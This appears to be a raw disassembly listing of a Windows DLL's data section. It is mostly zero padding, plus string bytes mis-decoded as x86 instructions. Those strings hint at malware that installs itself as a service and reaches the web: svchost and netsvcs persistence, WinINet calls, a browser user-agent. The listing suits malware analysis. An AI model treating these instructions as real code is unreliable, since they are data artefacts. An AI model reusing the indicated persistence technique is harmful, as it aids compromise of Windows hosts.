add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], 0x10
xor byte [ecx - 0x4e4ff000], 0
invalid
invalid
loop 0x1001f013
adc al, dl
loop 0x1001f017
adc byte [eax - 0x1c], dh
add byte [eax], dl
mov al, byte [0xf01000e4]
out 0, eax
adc byte [eax - 0xa], al
add byte [eax], dl
adc byte [ecx], dl
add dword [eax], edx
lock adc eax, dword [ecx]
adc byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi + 0x49], dl
push edi
dec ecx
dec esi
dec ebp
dec ebp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [edi], dh
add byte [eax], al
popal
jbe 0x1001f0b8
dec edi
jne 0x1001f0ca
push edx
jae 0x1001f0bf
je str.KERNEL32.dll
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc ebx
jb 0x1001f0d4
popal
je 0x1001f0d7
push esp
push 0x64616572
add byte [eax], al
add byte [eax], al
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc esp
imul esi, dword [ebx + 0x70], 0x68637461
dec ebp
jae 0x1001f107
popal
inc ecx
add byte [eax], al
add byte [eax], al
push edi
popal
imul esi, dword [esi + eax*2 + 0x6f], 0x6e695372
insb byte es:[di], dx
dec edi
bound ebp, qword [edx + 0x65]
arpl word [eax + eax + 0x44], si
inc esp
insb byte es:[edi], dx
je 0x1001f11b
inc esi
imul ebp, dword [ebp + 0x41], 0x696e2a00
sub ch, byte [esi + 0x69]
insb byte es:[edi], dx
inc ecx
add byte [edx], ch
sub ch, byte [esi + 0x69]
je 0x1001f12a
popal
insb byte es:[edi], dx
invalid
jp 0x1001f12b
inc ebx
jb 0x1001f132
je 0x1001f12a
popal
insb byte es:[edi], dx
imul edi, dword [edx + 0x65], 0x74697243
je 0x1001f134
imul esp, dword [ebx + 0x61], 0x6365536c
je str.ResetEvent
arpl word [ecx + 0x6c], sp
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebp + 0x6c], al
inc esp
insb byte es:[edi], dx
je 0x1001f143
inc ebx
jb 0x1001f14a
je 0x1001f14c
arpl word [ecx + 0x6c], sp
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [eax], al
add byte [ebp + 0x61], cl
dec esp
popal
jbe 0x1001f15a
inc ebx
jb 0x1001f161
je 0x1001f163
arpl word [ecx + 0x6c], sp
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
inc ebp
outsb dx, byte [esi]
add byte [ebp + 0x6e], al
inc ebp
outsb dx, byte [esi]
je 0x1001f171
jb 0x1001f151
jb 0x1001f179
je 0x1001f17b
arpl word [ecx + 0x6c], sp
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
cmp byte [eax + eax], al
add byte [edi + 0x53], dl
push edi
push ebx
xor bl, byte [edi + 0x33]
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push edi
push ebx
inc ecx
dec ecx
outsd dx, dword [esi]
arpl word [esp + ebp*2], si
add byte [eax], al
add byte [edx + 0x65], dl
push edx
jae 0x1001f1a5
push edx
jae 0x1001f1a5
je 0x1001f187
jbe 0x1001f1a9
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x1001f147
add byte [ecx + 0x44], al
inc ecx
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc ecx
push 0x75
push 0x75
jae 0x1001f1d2
push esp
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0x50
outsb dx, byte gs:[esi]
push eax
jb 0x1001f1cf
jbe 0x1001f1d1
insb byte es:[edi], dx
jae 0x1001f16e
add byte [eax], al
insb byte es:[edi], dx
jae 0x1001f1e7
jb 0x1001f1d8
jo 0x1001f1f0
inc ecx
add byte [eax], al
add byte [eax], al
push edx
imul esi, dword gs:[bp + di + 0x74], 0x65537265
add byte [eax], al
add byte [edx + 0x65], dl
push edx
imul esi, dword gs:[bp + di + 0x74], 0x65537265
jb 0x1001f1fe
jbe 0x1001f1f2
imul esp, dword [ebx + 0x65], 0x6c727443
arpl word [ebp + 0x43], sp
je 0x1001f200
insb byte es:[edi], dx
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
jb 0x1001f1d8
add byte [ecx], dh
xor dword [ecx], esi
xor dword [ecx], esi
xor dword [ecx], esi
xor dword [ecx], esi
xor dword [ecx], esi
xor dword [ecx], esi
invalid
xor dword [ecx], esi
xor dword [ecx], esi
xor dword [ecx], esi
add byte [ebx + 0x61], al
inc ebx
popal
outsb dx, byte [esi]
arpl word [ebp + 0x6c], sp
dec ecx
outsd dx, dword [esi]
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x1001f221
jb 0x1001f22a
outsd dx, dword [esi]
arpl word [ebx + 0x65], bp
inc ebp
js 0x1001f229
push 0x65676e61
add byte [edi + 0x65], al
inc edi
je 0x1001f21c
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
popal
insb byte es:[edi], dx
push esp
imul ebp, dword [ebp + 0x65], 0
add byte [eax], al
add byte [eax], al
inc edi
je 0x1001f234
imul esp, dword [ebx + 0x6b], 0x6e756f43
je 0x1001f1e9
add byte [eax], al
add byte [ebx], ch
sub ebp, dword [ebp + 0x65]
jo 0x1001f1f2
jo 0x1001f1f2
add byte [eax], al
xor dh, byte [eax]
xor byte [eax], bh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [ebx], dh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [eax], dh
add byte [eax], al
add byte [eax], al
push eax
jb 0x1001f27e
jne 0x1001f275
je 0x1001f262
popal
insd dword es:[edi], dx
add byte gs:[ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001f287
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x1001f2ab
jb 0x1001f2a0
outsb dx, byte [esi]
je 0x1001f294
jb 0x1001f2b4
imul ebp, dword [edi + 0x6e], 0
xor byte [eax], al
add byte [eax], al
push ebp
jae 0x1001f2b4
jb 0x1001f27e
inc ecx
outsb dx, byte gs:[si]
je 0x1001f291
and byte [ebp + 0x6f], cl
jp 0x1001f2c5
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x1001f2cb
je 0x1001f2d5
bound ebp, qword [ebp + 0x3b]
and byte [ebp + 0x53], cl
dec ecx
inc ebp
and byte [esi], dh
xor byte cs:[ebx], bh
and byte [edi + 0x69], dl
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x1001f2f5
and byte [esi + 0x54], cl
and byte [0x203b312e], dh
push ebx
push esi
xor dword cs:[ebx], edi
and byte [ebx + 0x56], dl
xor dword [ebx], edi
and byte [esi], ch
dec esi
inc ebp
push esp
xor al, 0x2e
xor byte [ebx + 0x3b], al
and byte [esi], ch
dec esi
inc ebp
push esp
xor al, 0x2e
xor byte [ebp + 0x29], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x1001f30d
jb str.HeapAlloc
je 0x1001f2fc
je 0x1001f2fc
jo 0x1001f314
outsb dx, byte [esi]
push ebp
jb 0x1001f31f
inc ecx
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x1001f321
jb 0x1001f32c
je 0x1001f310
jo 0x1001f328
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x1001f331
jb 0x1001f33c
jb 0x1001f33c
je 0x1001f314
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001f33a
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[edi + 0x49], dl
push edi
dec ecx
dec esi
dec ecx
dec esi
inc ebp
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [0x25642573], ah
and eax, 0x25642573
jae 0x1001f2ef
add byte [0x47000064], ah
inc edi
je 0x1001f33b
jne 0x1001f36c
jb 0x1001f361
outsb dx, byte [esi]
je 0x1001f34f
jb 0x1001f370
arpl word [ebp + 0x73], sp
jae 0x1001f34f
add byte fs:[edi + 0x65], al
inc edi
je 0x1001f35c
jb 0x1001f37d
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x1001f35b
jae 0x1001f385
dec eax
popal
popal
jo 0x1001f317
add byte [eax + 0x65], cl
dec eax
popal
dec eax
popal
jo 0x1001f35e
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
push edi
push ebx
add byte [eax], al
add byte [edi + 0x53], dl
push edi
push ebx
inc ecx
push ebx
outsd dx, dword [esi]
arpl word [ebx + 0x65], bp
je 0x1001f36f
add byte [eax], al
and eax, 0x64252e64
and eax, 0x64252e64
and eax, 0x2064
and eax, 0x64252e64
and byte fs:[eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + esi*8 + 1], dh
adc byte [ebp + ecx*2 + 0x69], bl
arpl word [edx + 0x6f], si
jae 0x1001f3bb
add byte [eax], al
je 0x1001f335
add dword [eax], edx
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001f3ab
je 0x1001f3ab
dec esi
je 0x1001f3ca
outsd dx, dword [esi]
jb 0x1001f3c1
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
arpl word [ecx + ebp*2 + 0x6f], si
imul ebp, dword [edi + 0x6e], 0x62705c73
outsb dx, byte [esi]
jae 0x1001f3bf
jo 0x1001f3c7
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x1001f3d4
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x1001f3d4
jo 0x1001f3d4
jo 0x1001f3d4
imul eax, dword [eax], 0x5c
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001f3db
dec esi
je 0x1001f3fa
outsd dx, dword [esi]
jb 0x1001f3f1
imul ebx, dword [ebx + eax*2 + 0x6f], 0x6e
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
jae 0x1001f3ef
jo 0x1001f3f7
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x1001f404
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x1001f404
imul eax, dword [eax], 0x6b
imul esp, dword [ebp + 0x72], 0x6e
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
jae 0x1001f42b
jb 0x1001f41c
popal
je 0x1001f3fd
inc ecx
add byte [eax], al
add byte [eax], al
inc ecx
add byte [ecx + 0x64], al
inc ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [esi + 0x69], 0x61727473
je 0x1001f43b
popal
je 0x1001f43b
jb 0x1001f3ce
add byte [eax], al
js 0x1001f438
jb 0x1001f43b
jb 0x1001f43b
jb 0x1001f447
insb byte es:[edi], dx
jo 0x1001f453
add byte gs:[eax], al
add byte [eax], al
and eax, 0x73255c73
add byte [eax], al
add byte [ebp + 0x69], cl
dec ebp
invalid
arpl word [edx + 0x6f], si
jae 0x1001f45e
je 0x1001f44e
pop esp
dec esi
je 0x1001f46d
outsd dx, dword [esi]
jb 0x1001f464
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
jae 0x1001f462
jo 0x1001f46a
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x1001f477
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x1001f477
imul eax, dword [eax], 0
add byte [eax], al
push ebx
dec eax
inc ebp
dec esp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x48], dl
push ebx
dec eax
inc edi
je 0x1001f47d
jo 0x1001f491
arpl word gs:[ecx + 0x61], bp
arpl word [ecx + 0x61], bp
insb byte es:[edi], dx
inc esi
outsd dx, dword [esi]
insb byte es:[edi], dx
jb 0x1001f487
popal
je 0x1001f4a2
add byte [eax], al
ja 0x1001f4b1
add byte [edi + 0x73], dh
ja 0x1001f4b1
jo 0x1001f4b2
imul ebp, dword [esi + 0x74], 0x4166
add byte [0x52455355], ah
and eax, 0x52455355
push eax
push edx
dec edi
inc esi
dec ecx
dec esp
inc ebp
and eax, 0x7070415c
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
and byte [ecx + 0x74], al
imul ebp, dword [edi + 0x6e], 0x74614420
inc esp
popal
je 0x1001f4c7
popal
add byte [eax], al
pop esp
inc ecx
jo 0x1001f4dc
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
and byte [ecx + 0x74], al
popal
je 0x1001f4da
add byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [esp + 0x25], cl
dec esp
and al, 0x25
jae 0x1001f4fa
and eax, 0x25724373
inc ebx
jb 0x1001f4af
jae 0x1001f4bc
add byte [eax], al
add byte [eax], al
pop edi
push edx
popal
jae 0x1001f4d9
popaw
add byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
je 0x1001f49f
add byte [ebp + 0x64], ah
invalid
invalid
outsb dx, byte gs:[esi]
je 0x1001f50f
popal
insb byte es:[edi], dx
jae 0x1001f4cd
add byte [eax], al
and eax, 0x61506c73
push eax
popal
and eax, 0x30237373
jae 0x1001f527
and esi, dword [eax]
add byte [eax], al
push edx
popal
jae 0x1001f500
imul esp, dword [ecx], 0x6d617200
jb 0x1001f523
insd dword es:[edi], dx
jae 0x1001f4e6
and eax, 0x65440000
inc esp
jbe 0x1001f535
add byte [ebp + 0x76], al
inc esp
jbe 0x1001f535
arpl word [ebp], sp
add byte [ecx + ebp*2 + 0x61], al
inc esp
invalid
popal
arpl word [ebp], sp
add byte [ecx + ebp*2 + 0x61], al
inc esp
invalid
popal
add byte gs:[eax], al
inc esp
imul esp, dword [ecx + 0x6c], 0x61726150
insb byte es:[edi], dx
push eax
popal
jb 0x1001f539
insd dword es:[edi], dx
jae str.GetLogicalDriveStringsA
push ebp
dec ecx
inc esp
add byte [eax], al
add byte [ebx + esi*2 + 0x74], ch
insb byte es:[edi], dx
jae 0x1001f557
jb 0x1001f551
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [eax], al
push edi
imul ebp, dword [esi + 0x53], 0x5c306174
inc esp
popaw
jne 0x1001f566
je 0x1001f4fc
and byte [eax], al
add byte [eax], al
and eax, 0x22000031
and eax, 0x73250031
and eax, 0x68735c73
insb byte es:[edi], dx
insb byte es:[edi], dx
pop esp
outsd dx, dword [esi]
jo 0x1001f579
outsb dx, byte [esi]
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [edx + 0x65], dl
push edx
push ecx
jne 0x1001f58b
jb 0x1001f5a1
jns 0x1001f57f
push esi
popal
insb byte es:[edi], dx
jne 0x1001f592
inc ecx
add byte [eax], al
inc edi
je str.SetFilePointer
outsd dx, dword [esi]
imul esp, dword [bp + di + 0x61], 0x6972446c
insb byte es:[edi], dx
inc esp
jb 0x1001f5a6
jbe 0x1001f5a4
push ebx
je str.SYSTEMCurrentControlSetServices_s
imul ebp, dword [esi + 0x67], 0x4c004173
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
inc esi
jb 0x1001f5b5
add byte gs:[eax], al
add byte [eax], al
add byte [esi], ch
add byte cs:[eax], al
add byte cs:[eax], al
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
push edx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
add byte [0x2e2a5c73], ah
and eax, 0x2e2a5c73
sub al, byte [eax]
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [ebx + 0x65], dl
push ebx
je 0x1001f5ca
push ebx
je 0x1001f5ca
imul ebp, dword [ebp + 0x50], 0x746e696f
jb 0x1001f58f
je 0x1001f5f2
jb 0x1001f58f
add byte [0x25732573], ah
and eax, 0x25732573
jae 0x1001f597
and eax, 0x732573
add byte [0x2a732573], ah
and eax, 0x2a732573
sub al, byte cs:[eax]
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001f60a
push ebx
push ebx
jb 0x1001f61f
imul esp, dword [ebx + 0x65], 0x646e6148
insb byte es:[edi], dx
add byte gs:[eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne str.SYSTEMCurrentControlSetServices_
jb 0x1001f625
outsb dx, byte [esi]
je 0x1001f606
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001f639
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001f629
push ebx
jb 0x1001f647
imul esp, dword [ebx + 0x65], 0x73255c73
add byte [eax], al
add byte [eax], al
inc esp
insb byte es:[edi], dx
je 0x1001f647
push ebx
jb 0x1001f65c
imul esp, dword [ebx + 0x65], 0x43000000
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001f663
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
jb 0x1001f66d
imul esp, dword [ebx + 0x65], 0x704f0000
dec edi
jo 0x1001f664
outsb dx, byte [esi]
push ebx
jb 0x1001f67a
imul esp, dword [ebx + 0x65], 0x41
add byte [edi + ebp*2 + 0x61], cl
dec esp
outsd dx, dword [esi]
popal
inc ecx
add byte [eax], al
add byte [eax], al
dec esp
outsd dx, dword [esi]
popal
pop edi
push eax
popal
je 0x1001f67d
add byte [eax], al
add byte [eax - 0x3e], dh
add dword [eax], edx
add byte [eax], al
add byte [eax], al
push eax
add byte [esi], ch
push eax
inc ecx
inc esp
add byte [eax], al
add byte [eax], al
push esp
add byte [eax], al
add byte [ecx + edi*2 + 0x70], dl
push esp
jns 0x1001f69b
jns 0x1001f69b
add byte gs:[eax], al
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001f6ac
jb 0x1001f6ad
jb 0x1001f6a1
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x1001f682
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001f6b5
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001f6a5
je 0x1001f6a5
push ebx
jb 0x1001f6c3
imul esp, dword [ebx + 0x65], 0x5c73
push edx
push ebx
je 0x1001f6b1
popal
insb byte es:[edi], dx
jne 0x1001f6c4
inc ebp
js 0x1001f6a3
add byte [eax], al
mov eax, 0x10cd0012
add byte [eax + 0x10cd0012], bh
mov ebp, 0x18b97c18
